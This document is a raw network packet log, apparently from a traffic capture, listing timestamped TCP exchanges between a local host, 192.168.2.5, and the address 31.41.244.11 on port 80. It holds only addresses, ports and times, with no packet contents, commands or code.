Dec 20, 2024 16:08:17.629574060 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.630601883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.630614996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.630656958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.632565022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.632627964 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.633625984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.633675098 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.646006107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.646131039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.646367073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.646409988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.717932940 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.718135118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.718214035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.718257904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.719775915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.719826937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.720387936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.720428944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.720757961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.720802069 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.724179029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.724257946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.724386930 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.724431992 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.727798939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.727863073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.727987051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.728053093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.731445074 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.731496096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.732423067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.732484102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.735198975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.735276937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.735372066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.735415936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.738847017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.738940001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.739151001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.739200115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.742482901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.742553949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.742742062 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.742889881 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.746162891 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.746229887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.746517897 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.746571064 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.749957085 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.750020981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.750102043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.750145912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.753582954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.753648043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.754000902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.754050970 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.757113934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.757191896 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.757965088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.758023024 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.760005951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.760112047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.760255098 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.760302067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.763555050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.763569117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.763622046 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.769635916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.769649982 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.769718885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.775686979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.775701046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.775806904 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.781825066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.781908989 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.783073902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.783121109 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.786813021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.786866903 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.787795067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.787838936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.790827990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.790842056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.790884018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.795903921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.795917988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.795948982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.795969009 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.799170017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.799211025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.799916983 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.799954891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.802953005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.802967072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.803009987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.807001114 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.807045937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.808012962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.808054924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.810539961 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.810590982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.811553001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.811590910 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.815588951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.815640926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.816597939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.816662073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.820020914 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.820038080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.820081949 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.820101976 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.910121918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.910177946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.910367012 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.910403013 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.911166906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.911215067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.911225080 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.911261082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.912580013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.912626028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.913551092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.913589001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.913769007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.913806915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.915195942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.915236950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.915416002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.915458918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.916870117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.916907072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.917049885 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.917084932 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.918720007 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.918760061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.918889999 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.918926001 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.920434952 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.920476913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.920861959 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.920900106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.922215939 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.922255993 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.922519922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.922616005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.923938990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.923974991 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.924212933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.924248934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.925761938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.925817966 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.926207066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.926242113 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.927602053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.927638054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.927818060 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.927855015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.929630995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.929668903 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.930337906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.930375099 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.931365967 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.931411982 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.931689024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.931725979 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.933101892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.933140039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.933260918 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.933303118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.934854984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.934895039 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.935060978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.935098886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.936444044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.936500072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.936695099 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.936732054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.938256979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.938297987 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.938496113 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.938534021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.940074921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.940118074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.940377951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.940419912 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.941828966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.941903114 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.942060947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.942128897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.943835020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.943881035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.943944931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.943981886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.946116924 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.946158886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.946717024 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.946775913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.948906898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.948946953 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.949465990 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.949505091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.952856064 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.952877998 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.952905893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.952929020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.953675985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.953732967 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.953876972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.953916073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.955271006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.955321074 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.955899954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.955944061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.957118034 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.957160950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.957241058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.957278013 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.961669922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.961683035 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.961725950 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.965363026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.965377092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.965424061 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.968139887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.968206882 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.969036102 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.969214916 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.972007036 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.972064018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.972966909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.973018885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.976485968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.976499081 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.976547003 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.980144978 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.980159044 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.980211973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.982882023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.982952118 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.983725071 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.983798981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.986752033 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.986764908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.986821890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.991780996 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.991795063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.991837025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.991861105 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.994827986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.994889021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.995867968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.995915890 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.998872042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.998884916 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:17.998924971 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:17.998944998 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.003398895 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.003412008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.003454924 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.007450104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.007463932 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.007514954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.012463093 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.012476921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.012522936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.015542984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.015621901 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.016529083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.016599894 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.017684937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.017698050 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.017788887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.018553019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.018565893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.018595934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.018646955 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.019545078 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.019558907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.019586086 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.019607067 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.020562887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.020576954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.020587921 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.020601034 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.020648956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.021538019 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.021550894 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.021600962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.102171898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.102432966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.102586031 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.103142023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.103197098 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.103370905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.103409052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.104764938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.105104923 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.105158091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.106530905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.106597900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.106755018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.106796980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.108330965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.108391047 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.109313011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.110275984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.110327959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.110552073 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.110594988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.111960888 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.112040043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.112149000 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.112185955 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.113682985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.113737106 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.114119053 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.114166021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.115613937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.115714073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.115971088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.116019011 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.117320061 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.117372036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.117522955 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.117640972 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.119174004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.119220972 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.119417906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.119457960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.120796919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.120840073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.121062040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.121129036 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.123049974 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.123097897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.123539925 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:18.123583078 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:18.124435902 CET	80	49965	31.41.244.11	192.168.2.5
